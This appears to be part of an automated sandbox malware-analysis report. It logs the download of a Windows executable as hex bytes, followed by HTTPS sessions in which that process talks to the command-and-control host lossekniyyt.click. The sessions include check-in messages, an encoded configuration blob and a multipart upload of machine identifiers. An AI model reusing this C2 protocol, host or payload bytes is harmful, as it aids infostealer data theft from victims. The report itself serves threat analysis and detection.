6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 07 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4a 49 00 00 4c 75 00 00 32 00 00 00 d0 c7 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 c8 00 00 04 00 00 d3 fd 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f b0 72 00 73 00 00 00 00 a0 72 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 b8 c7 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 b8 c7 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELcg(JILu2`I@D@ _rsr@ r4(@.rsrcrD(@.idata rF(@ @9rH(@bekbudtoJ(@bwpgbubuD@.taggant0"D@
Dec 20, 2024 13:12:53.480112076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 13:12:53.480148077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 13:12:53.480185032 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 13:12:53.480221033 CET	896	IN	Data Raw: 57 b5 37 c7 89 26 c1 94 d4 e8 23 0f 77 5f f6 bf 62 a9 f7 d1 b0 20 c2 8f b7 83 42 8a 1e be 0a a8 6e ad 28 81 58 7d 12 ad 25 e1 34 85 7f b5 fc 16 6d be d1 c5 8e 20 66 14 11 c1 03 d5 0f c1 eb 74 18 cf ba 90 b3 5f d0 4e e8 25 88 d5 16 27 96 be 0a c0 Data Ascii: W7&#w_b Bn(X}%4m ft_N%'''^CBA^8IXuBSa%O}1@TXeWD~BU=@ndiBABT#2cL08[RXJEy=r{3On(/{?*{RI
Dec 20, 2024 13:12:53.480257034 CET	1236	IN	Data Raw: 39 7d 91 fe 5a 97 7c e2 86 35 f6 0b ae 8d 63 26 69 26 17 4b ea 3f 4a 38 f0 3d be d0 54 d9 22 30 03 d1 99 26 10 50 6e ec 3c 67 51 7c 01 a5 25 a4 80 c0 ba 2d 37 05 a0 1f 31 f6 83 38 63 47 66 4a 3a 39 54 2a 77 0d 4f 68 57 c9 31 64 56 20 fc 83 bb 75 Data Ascii: 9}Z\|5c&i&K?J8=T"0&Pn<gQ\|%-718cGfJ:9TwOhW1dV uR`q3OEf/;FOAud$3OgXlU9FwP~eQV!g7?qPiv%l0j7vT@J@"PNdB@+8P@US/%0Q^
Dec 20, 2024 13:12:53.480381012 CET	1236	IN	Data Raw: ba b0 cf 04 53 24 8f 0e 0b ca 59 07 3e 07 da 40 a5 3a 67 b7 35 20 b8 dc 33 47 ba 8e 3d 8a 12 db 22 65 4e 74 17 1d 22 55 2b e5 d4 08 92 35 a7 10 78 92 92 c8 f4 07 e7 5e d5 79 10 01 70 c3 5e 1a 6f ed a0 cc cb a7 35 d1 87 99 46 f3 b5 51 bf 5c 09 b8 Data Ascii: S$Y>@:g5 3G="eNt"U+5x^yp^o5FQ\Smp-b.TS3+e7i[ 3#DfnJ}Q^R^M22/tw@I{~5%W3Itch~B Chsg?Wh>JM\|i0)]1+bk
Dec 20, 2024 13:12:53.480412960 CET	448	IN	Data Raw: ff 96 e2 1e 0e 5e 89 5e 57 e6 1c e4 75 37 df 42 ef 3d 0a 8f 13 99 ad e1 b4 a6 4b e4 e1 da 13 ce 06 b1 0e 73 7e 50 1c e4 e5 6b b7 59 c1 04 c8 3d 84 8d 4f 98 97 fc a7 58 20 6f d5 84 d7 67 21 e4 b6 9c 53 e0 9d b1 08 d0 06 34 79 2a 46 69 09 c4 55 14 Data Ascii: ^^Wu7B=Ks~PkY=OX og!S4yFiU p^NgGG@+uQx0?g@8).-KTFt !![IT\:u=xp[*'P(U2pG;^g~L(F"F,OLoB@
Dec 20, 2024 13:12:53.480448008 CET	1236	IN	Data Raw: d1 bc bc a6 fc 6d 45 90 33 40 a0 c8 f6 37 2d ee a6 b8 df 20 5b b8 20 cd 0f 6f 2f 02 d4 56 55 88 33 81 cd 21 20 e3 93 a7 56 41 06 c8 c8 31 89 7e 54 40 16 03 3a 0c 28 7d 87 09 55 16 1e ce ae 76 3c 60 41 d4 59 55 bb d4 87 eb c9 18 bc fd 2c d1 98 74 Data Ascii: mE3@7- [ o/VU3! VA1~T@:(}Uv<`AYU,tNJ7^*4_9:s2d=JHT]'H$~ uN3h?ln9}1fA TvAYlQKv?GBxBud,k!tDuD4@Wpe<5@hB"^
Dec 20, 2024 13:12:53.481120110 CET	1236	IN	Data Raw: 7d 97 e5 62 88 61 54 b6 4b 94 4f 69 27 65 56 5e 4b a4 7d 4f 65 66 40 55 02 12 d4 ca 4c 61 dd af d8 3b 33 f6 d4 15 de 5c 28 72 3e 25 25 59 b4 97 72 6a 22 db 5e 39 bb 8c 1a 2c c3 e7 dc 65 4c 90 6e 84 e9 6d 89 69 6a 91 2c b5 84 a7 42 85 07 62 5d 26 Data Ascii: }baTKOi'eV^K}Oef@ULa;3\(r>%%Yrj"^9,eLnmij,Bb]&4C'^6@C,;g/C`Rg .C]R8P,V[N]BNJg'f'191=?f~rNeMo]-\|.y(Ki@WBJ0w[)[&"yR!S
Dec 20, 2024 13:12:53.603384972 CET	1236	IN	Data Raw: 52 b8 0b a8 27 41 d0 81 3e bf d2 b9 ee 63 37 fc d9 a5 3c 9b 68 de 21 78 40 48 5e bd 27 60 2b 04 5a 99 8c 22 d2 cf 78 9e 0f a5 30 04 22 99 80 07 19 b7 36 d8 f2 7a 1a c3 02 19 59 71 a1 ce 2f 00 81 59 bf 21 f0 50 6b b9 ee 83 2a cc d9 ed 51 e0 24 e1 Data Ascii: R'A>c7<h!x@H^'`+Z"x0"6zYq/Y!Pk*Q$]q<?qaEvA796rxK^6koBK};W28$^djsG$xyKGRM=OQ.fJ)R.$^Ox+ZNJG9M'0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49854	104.21.12.88	443	8000	C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 12:12:19 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lossekniyyt.click
2024-12-20 12:12:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 12:12:20 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 12:12:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v9845ebis8fjjuqo1cskgi3h9k; expires=Tue, 15 Apr 2025 05:58:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gx1rkRysSClo7%2BtqsbIbe%2FFAm7I5pkEzP0y2QpNbia0sow1jD8SKJJaVkmLHaq1r5Zc%2FlBr1qBkyTlSvL3lKMCF3HUMLoYXqmBEUGL%2FlhiyZ3YppRdG%2FYe3HfEVwyyE2qSFURQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4f8a40cedf424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1639&min_rtt=1637&rtt_var=618&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=908&delivery_rate=1764350&cwnd=248&unsent_bytes=0&cid=2ca9e8a4e727f1a3&ts=761&x=0"
2024-12-20 12:12:20 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 12:12:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49861	104.21.12.88	443	8000	C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 12:12:21 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: lossekniyyt.click
2024-12-20 12:12:21 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 39 5a 31 63 79 63 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=9Z1cyc--&j=
2024-12-20 12:12:22 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 12:12:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t714csmqdrk5cdgc964nhan64k; expires=Tue, 15 Apr 2025 05:59:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FwH%2FYKWMbpXMgJqUmK7AQD3qnkBGNr5XZdHv7owpO3TfnoS8T%2B5rK8CTGRepb9mE70DK3v5lwTysG4siA0RKJrwt8Ck6eLwB8mWERHieu7iJzLmI6ec70kpNhSrIYOcUHbDb3A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4f8a4e0ef242c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1855&min_rtt=1852&rtt_var=700&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=943&delivery_rate=1555673&cwnd=211&unsent_bytes=0&cid=227949fb58e0a622&ts=868&x=0"
2024-12-20 12:12:22 UTC	242	IN	Data Raw: 31 34 38 33 0d 0a 79 35 71 31 57 74 4f 79 72 56 30 43 46 77 71 72 51 32 6b 4b 35 59 73 70 4a 50 56 58 34 57 50 74 41 53 58 30 7a 74 75 6b 4f 35 57 77 75 4d 4e 34 36 59 61 42 66 33 46 79 4b 4a 45 33 47 33 2b 41 70 77 74 46 6b 58 58 62 42 59 78 74 56 70 48 69 2b 64 4a 57 74 2f 48 38 31 44 61 67 31 34 46 2f 5a 32 38 6f 6b 52 67 53 4b 49 44 6c 43 78 37 58 4d 6f 73 42 6a 47 31 48 6c 61 57 30 31 46 66 32 6f 2f 62 53 4d 72 62 52 79 54 78 75 65 6d 2f 4f 4a 67 68 67 69 2b 4a 45 54 4a 68 31 7a 55 47 49 65 77 66 4f 37 4a 62 42 54 2f 53 47 2b 38 59 78 38 63 2b 42 4a 69 42 79 5a 49 6c 35 53 32 75 41 36 55 56 43 6b 54 79 4a 43 34 56 6c 52 70 43 6b 71 38 31 64 2f 61 50 34 30 54 4f 38 32 4e 30 78 5a 48 31 6b 79 43 77 49 4b 4d 6d 70 Data Ascii: 1483y5q1WtOyrV0CFwqrQ2kK5YspJPVX4WPtASX0ztukO5WwuMN46YaBf3FyKJE3G3+ApwtFkXXbBYxtVpHi+dJWt/H81Dag14F/Z28okRgSKIDlCx7XMosBjG1HlaW01Ff2o/bSMrbRyTxuem/OJghgi+JETJh1zUGIewfO7JbBT/SG+8Yx8c+BJiByZIl5S2uA6UVCkTyJC4VlRpCkq81d/aP40TO82N0xZH1kyCwIKMmp
2024-12-20 12:12:22 UTC	1369	IN	Data Raw: 54 46 37 58 62 63 4e 53 76 57 42 57 68 37 6d 30 31 6c 2b 33 74 72 62 4f 65 4c 62 63 6a 32 63 67 66 57 54 48 4a 41 68 6e 67 4f 68 4c 56 4a 67 31 67 41 6d 48 5a 30 32 5a 6f 37 62 49 55 2f 43 68 38 64 41 33 74 74 6a 4a 4d 47 4d 31 4a 6f 6b 6d 45 79 6a 66 71 57 74 57 6c 44 61 58 44 4a 34 6a 57 4e 69 31 2b 63 46 56 74 2f 47 34 30 54 61 77 33 63 38 74 61 48 35 6a 7a 44 4d 41 59 59 72 6b 53 30 75 64 4f 6f 41 42 69 47 6c 4e 6d 61 61 39 79 31 54 78 71 66 69 58 64 76 48 58 31 33 38 34 4e 55 76 4d 4d 51 78 6b 6b 61 74 78 42 6f 68 37 6d 6b 47 49 62 77 66 4f 37 4c 48 44 57 76 53 69 39 39 51 77 75 73 4c 50 4c 57 5a 34 62 64 73 6e 44 6d 61 4e 36 6c 6c 4d 6d 54 4f 41 43 49 52 71 51 70 47 6f 2b 59 67 5a 38 4c 47 34 6a 33 69 51 33 63 51 7a 61 6d 4a 6f 69 54 35 46 63 63 66 Data Ascii: TF7XbcNSvWBWh7m01l+3trbOeLbcj2cgfWTHJAhngOhLVJg1gAmHZ02Zo7bIU/Ch8dA3ttjJMGM1JokmEyjfqWtWlDaXDJ4jWNi1+cFVt/G40Taw3c8taH5jzDMAYYrkS0udOoABiGlNmaa9y1TxqfiXdvHX1384NUvMMQxkkatxBoh7mkGIbwfO7LHDWvSi99QwusLPLWZ4bdsnDmaN6llMmTOACIRqQpGo+YgZ8LG4j3iQ3cQzamJoiT5Fccf
2024-12-20 12:12:22 UTC	1369	IN	Data Raw: 54 4f 4d 44 49 4d 6a 43 64 61 72 6f 59 59 42 74 34 50 37 77 7a 75 37 6b 76 6f 38 62 6e 74 76 33 32 45 55 4a 70 36 70 54 45 72 58 62 63 4d 4d 6a 6d 74 42 68 4b 4f 30 78 56 66 35 70 76 33 59 4d 4c 48 51 77 6a 70 6b 66 6d 50 4b 4c 41 39 36 6a 65 6c 44 51 35 59 2f 69 55 48 42 49 30 43 4f 37 4f 47 47 61 4f 43 69 75 75 49 37 76 39 37 49 4b 53 42 71 4a 74 42 68 44 47 54 48 73 51 74 4c 6e 7a 43 47 44 6f 35 70 53 5a 4f 6d 74 63 35 58 39 4c 76 33 30 7a 69 39 32 4d 55 79 62 6e 46 67 77 43 6f 41 62 6f 66 6f 51 51 62 5a 64 59 51 5a 7a 7a 73 48 6f 71 75 31 79 31 61 31 6e 50 76 5a 4e 72 62 47 6a 79 41 75 62 43 6a 4f 4c 55 73 77 78 2b 56 43 52 70 77 2f 68 77 47 49 62 6b 4b 56 71 37 72 4c 58 76 32 6e 2f 39 4d 30 75 4e 33 4a 50 32 64 78 62 64 73 6b 41 6d 53 4c 71 51 55 47 Data Ascii: TOMDIMjCdaroYYBt4P7wzu7kvo8bntv32EUJp6pTErXbcMMjmtBhKO0xVf5pv3YMLHQwjpkfmPKLA96jelDQ5Y/iUHBI0CO7OGGaOCiuuI7v97IKSBqJtBhDGTHsQtLnzCGDo5pSZOmtc5X9Lv30zi92MUybnFgwCoAbofoQQbZdYQZzzsHoqu1y1a1nPvZNrbGjyAubCjOLUswx+VCRpw/hwGIbkKVq7rLXv2n/9M0uN3JP2dxbdskAmSLqQUG
2024-12-20 12:12:22 UTC	1369	IN	Data Raw: 2b 57 49 30 43 61 37 4f 47 47 55 50 36 37 39 74 6b 78 76 4e 62 48 4f 47 35 34 59 38 38 71 44 47 2b 42 35 45 4e 4c 6b 6a 61 43 42 59 56 78 52 4a 32 6d 74 4d 77 5a 75 65 6e 2f 7a 33 6a 70 6b 4f 67 7a 53 57 56 7a 32 7a 64 4c 64 38 6e 77 43 30 47 62 64 64 74 42 6a 47 78 4f 6d 61 53 78 79 56 62 7a 70 2f 37 52 4e 62 54 66 78 53 31 6f 65 32 58 43 4c 67 42 36 68 2b 52 50 53 70 4d 39 69 41 76 50 4c 51 65 52 74 50 6d 65 47 63 4b 6b 39 39 63 37 70 35 44 51 63 58 6b 31 62 38 56 68 55 79 69 4c 35 30 74 4a 6d 7a 6d 49 43 59 35 76 53 5a 47 70 73 4d 35 52 35 61 6a 38 33 7a 6d 2f 33 38 34 37 5a 58 42 73 7a 69 55 4e 5a 38 65 6e 43 30 47 50 64 64 74 42 6f 45 52 79 31 49 32 44 68 6b 61 35 73 4c 6a 51 4e 50 47 49 6a 7a 4e 6a 65 57 44 47 4a 77 4a 6b 6a 65 42 41 53 70 77 78 6a Data Ascii: +WI0Ca7OGGUP679tkxvNbHOG54Y88qDG+B5ENLkjaCBYVxRJ2mtMwZuen/z3jpkOgzSWVz2zdLd8nwC0GbddtBjGxOmaSxyVbzp/7RNbTfxS1oe2XCLgB6h+RPSpM9iAvPLQeRtPmeGcKk99c7p5DQcXk1b8VhUyiL50tJmzmICY5vSZGpsM5R5aj83zm/3847ZXBsziUNZ8enC0GPddtBoERy1I2Dhka5sLjQNPGIjzNjeWDGJwJkjeBASpwxj
2024-12-20 12:12:22 UTC	910	IN	Data Raw: 49 6c 36 32 2f 31 46 37 2b 75 2f 62 61 4e 37 6e 59 78 6a 35 6b 63 47 58 50 4c 51 46 70 67 4f 64 46 54 74 64 37 77 77 61 58 49 78 2f 57 6a 61 6e 64 53 2b 47 6b 32 64 6f 33 38 63 2b 42 4a 69 42 79 5a 49 6c 35 53 32 47 56 37 55 5a 55 6e 6a 4b 4e 44 6f 78 78 52 70 75 6e 71 38 46 57 38 36 37 30 30 54 65 33 30 63 6f 31 62 48 4a 74 77 69 34 48 4b 4d 6d 70 54 46 37 58 62 63 4d 76 68 48 42 51 6c 61 4b 79 30 45 4b 33 74 72 62 4f 65 4c 62 63 6a 32 63 67 64 6d 50 43 4a 51 74 6b 68 2b 31 47 52 6f 55 36 68 41 61 47 61 46 57 63 71 37 37 4e 55 66 79 6d 2f 73 55 30 76 38 4c 4b 4c 58 49 31 4a 6f 6b 6d 45 79 6a 66 71 58 31 42 68 79 57 41 51 37 35 31 52 49 43 6e 74 4d 6f 5a 36 4f 66 68 6c 7a 2b 39 6b 4a 64 2f 5a 6e 70 68 79 69 34 4b 59 59 76 6b 54 6b 2b 53 4e 49 55 46 68 57 Data Ascii: Il62/1F7+u/baN7nYxj5kcGXPLQFpgOdFTtd7wwaXIx/WjandS+Gk2do38c+BJiByZIl5S2GV7UZUnjKNDoxxRpunq8FW86700Te30co1bHJtwi4HKMmpTF7XbcMvhHBQlaKy0EK3trbOeLbcj2cgdmPCJQtkh+1GRoU6hAaGaFWcq77NUfym/sU0v8LKLXI1JokmEyjfqX1BhyWAQ751RICntMoZ6Ofhlz+9kJd/Znphyi4KYYvkTk+SNIUFhW
2024-12-20 12:12:22 UTC	1369	IN	Data Raw: 33 34 39 39 0d 0a 52 4d 72 58 54 78 6a 78 6e 66 47 37 43 49 67 46 6e 67 4f 39 50 52 70 77 79 6a 51 65 4b 61 45 37 57 34 76 6e 42 51 62 66 78 75 50 45 62 6f 38 4c 39 4d 57 4e 75 4b 4e 5a 76 45 69 69 41 35 51 73 65 31 7a 36 4c 44 70 31 6d 54 70 36 6f 73 4d 5a 64 2f 61 54 2f 31 7a 32 38 31 63 73 78 5a 48 4a 6f 78 53 34 4d 59 49 6a 74 53 30 6e 58 65 38 4d 47 6c 79 4d 66 31 6f 79 79 30 48 6a 35 6f 75 71 58 4a 2f 2f 4a 6a 7a 68 73 4e 54 43 4a 4c 77 4a 70 6a 2b 64 48 54 70 4d 6e 67 77 71 47 62 45 61 5a 72 4c 72 48 55 2f 2b 37 2f 74 63 7a 75 64 66 48 4f 32 35 6e 61 63 5a 68 52 53 69 41 38 51 73 65 31 77 53 56 42 6f 68 73 42 62 2b 72 6f 73 64 54 39 4b 4c 30 6c 79 66 2f 79 59 38 34 62 44 55 77 69 53 77 48 5a 59 50 37 52 30 61 58 50 49 51 4c 6e 57 78 49 6d 36 2b 35 Data Ascii: 3499RMrXTxjxnfG7CIgFngO9PRpwyjQeKaE7W4vnBQbfxuPEbo8L9MWNuKNZvEiiA5Qse1z6LDp1mTp6osMZd/aT/1z281csxZHJoxS4MYIjtS0nXe8MGlyMf1oyy0Hj5ouqXJ//JjzhsNTCJLwJpj+dHTpMngwqGbEaZrLrHU/+7/tczudfHO25nacZhRSiA8Qse1wSVBohsBb+rosdT9KL0lyf/yY84bDUwiSwHZYP7R0aXPIQLnWxIm6+5
2024-12-20 12:12:22 UTC	1369	IN	Data Raw: 76 35 33 54 53 77 31 38 67 30 63 6e 35 36 77 69 6b 49 5a 6f 2f 67 53 30 69 58 4e 49 34 42 7a 79 30 48 6b 62 54 35 6e 68 6e 53 69 75 2f 42 4d 76 50 7a 32 43 6c 71 63 6d 54 66 4b 67 70 72 6b 65 52 62 42 74 6c 31 6b 67 61 65 49 78 2b 41 76 4b 37 42 52 72 6d 77 75 4e 41 30 38 59 69 50 4e 47 39 37 5a 63 49 6c 41 6d 32 50 36 6b 35 44 6e 54 6d 50 41 49 64 71 54 5a 4f 70 76 38 78 61 2b 61 62 35 32 7a 79 34 33 73 5a 2f 4c 6a 56 76 30 57 46 54 4b 4c 48 35 54 46 36 61 4a 63 45 7a 6a 48 4a 57 67 36 47 70 77 42 76 59 71 76 54 55 50 62 62 41 6a 79 41 75 62 43 6a 4f 4c 55 73 77 78 2b 6c 50 53 70 51 79 6a 51 36 43 62 45 43 64 6f 37 50 49 53 2f 69 73 38 4e 73 77 76 4d 4c 46 4e 58 4a 38 59 63 51 76 41 33 71 45 71 51 55 47 6b 43 33 44 57 63 39 52 54 5a 57 67 72 38 74 57 74 Data Ascii: v53TSw18g0cn56wikIZo/gS0iXNI4Bzy0HkbT5nhnSiu/BMvPz2ClqcmTfKgprkeRbBtl1kgaeIx+AvK7BRrmwuNA08YiPNG97ZcIlAm2P6k5DnTmPAIdqTZOpv8xa+ab52zy43sZ/LjVv0WFTKLH5TF6aJcEzjHJWg6GpwBvYqvTUPbbAjyAubCjOLUswx+lPSpQyjQ6CbECdo7PIS/is8NswvMLFNXJ8YcQvA3qEqQUGkC3DWc9RTZWgr8tWt
2024-12-20 12:12:22 UTC	1369	IN	Data Raw: 47 76 39 66 62 4f 47 35 7a 61 49 6c 76 53 32 66 48 73 58 49 47 33 33 57 38 54 38 39 37 42 38 37 73 6a 4d 56 58 2b 61 37 75 78 6e 57 53 78 39 6b 31 65 7a 64 4f 7a 6a 41 43 66 6f 72 37 43 77 6a 58 4d 38 4e 5a 33 79 30 48 6b 72 33 35 6e 67 6d 6c 38 71 32 45 62 2b 47 43 30 48 46 35 4e 58 36 4a 65 56 6b 6d 78 2f 73 4c 48 74 64 79 67 42 4f 64 5a 55 53 41 72 2f 37 34 5a 39 65 69 37 74 59 31 75 74 7a 78 41 58 56 32 5a 73 63 6d 48 58 6e 48 70 77 74 4a 31 32 32 36 51 63 63 6a 65 4e 6a 73 6f 59 59 42 74 35 7a 37 32 54 61 32 78 74 35 79 51 48 35 2b 79 43 77 41 5a 4d 58 6f 52 6c 61 51 64 63 31 42 69 53 4d 66 78 75 4c 35 77 6b 69 33 38 61 69 46 59 2b 53 44 6d 47 38 79 61 69 62 51 59 52 30 6f 33 37 73 46 42 6f 56 31 32 30 48 49 59 46 57 45 71 72 72 51 57 72 43 58 78 76 Data Ascii: Gv9fbOG5zaIlvS2fHsXIG33W8T897B87sjMVX+a7uxnWSx9k1ezdOzjACfor7CwjXM8NZ3y0Hkr35ngml8q2Eb+GC0HF5NX6JeVkmx/sLHtdygBOdZUSAr/74Z9ei7tY1utzxAXV2ZscmHXnHpwtJ1226QccjeNjsoYYBt5z72Ta2xt5yQH5+yCwAZMXoRlaQdc1BiSMfxuL5wki38aiFY+SDmG8yaibQYR0o37sFBoV120HIYFWEqrrQWrCXxv
2024-12-20 12:12:22 UTC	1369	IN	Data Raw: 6c 32 30 75 4e 57 7a 59 59 56 4d 34 31 62 49 65 46 63 42 6c 30 52 37 42 65 67 65 41 37 4f 47 55 46 37 65 37 75 49 39 34 39 74 50 64 4c 57 5a 32 66 73 70 6d 4e 56 61 68 36 6b 78 41 6c 44 75 55 45 4d 31 4d 52 4a 32 67 74 63 46 50 79 5a 66 74 31 44 61 2f 31 39 6b 75 49 44 73 6f 78 6d 46 54 55 63 66 34 51 55 48 62 66 63 38 51 6e 47 31 4d 67 4b 76 35 2b 52 65 33 73 62 69 50 65 49 54 54 77 54 46 6e 59 33 6d 45 42 77 68 76 67 65 70 46 55 59 5a 31 7a 55 47 4a 49 78 2f 45 34 76 6e 43 53 4c 66 78 71 49 56 6a 35 49 4f 59 62 7a 4a 71 4a 74 42 68 48 53 6a 66 75 67 55 47 68 58 58 62 51 63 68 74 53 70 65 76 74 38 56 4c 35 61 2f 37 77 54 76 32 37 76 45 61 62 58 68 74 78 79 59 31 56 71 62 6a 57 30 75 59 4d 72 30 2f 75 48 4a 41 68 75 36 66 78 55 2f 30 36 62 61 58 49 50 47 Data Ascii: l20uNWzYYVM41bIeFcBl0R7BegeA7OGUF7e7uI949tPdLWZ2fspmNVah6kxAlDuUEM1MRJ2gtcFPyZft1Da/19kuIDsoxmFTUcf4QUHbfc8QnG1MgKv5+Re3sbiPeITTwTFnY3mEBwhvgepFUYZ1zUGJIx/E4vnCSLfxqIVj5IOYbzJqJtBhHSjfugUGhXXbQchtSpevt8VL5a/7wTv27vEabXhtxyY1VqbjW0uYMr0/uHJAhu6fxU/06baXIPG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49867	104.21.12.88	443	8000	C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 12:12:24 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BKLQ8LROZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12776 Host: lossekniyyt.click
2024-12-20 12:12:24 UTC	12776	OUT	Data Raw: 2d 2d 42 4b 4c 51 38 4c 52 4f 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 30 32 39 31 36 41 39 35 37 42 38 33 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 42 4b 4c 51 38 4c 52 4f 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 4b 4c 51 38 4c 52 4f 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 42 4b 4c 51 38 4c 52 4f 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 Data Ascii: --BKLQ8LROZContent-Disposition: form-data; name="hwid"4602916A957B8310AC8923850305D13E--BKLQ8LROZContent-Disposition: form-data; name="pid"2--BKLQ8LROZContent-Disposition: form-data; name="lid"9Z1cyc----BKLQ8LROZContent-Dispositi
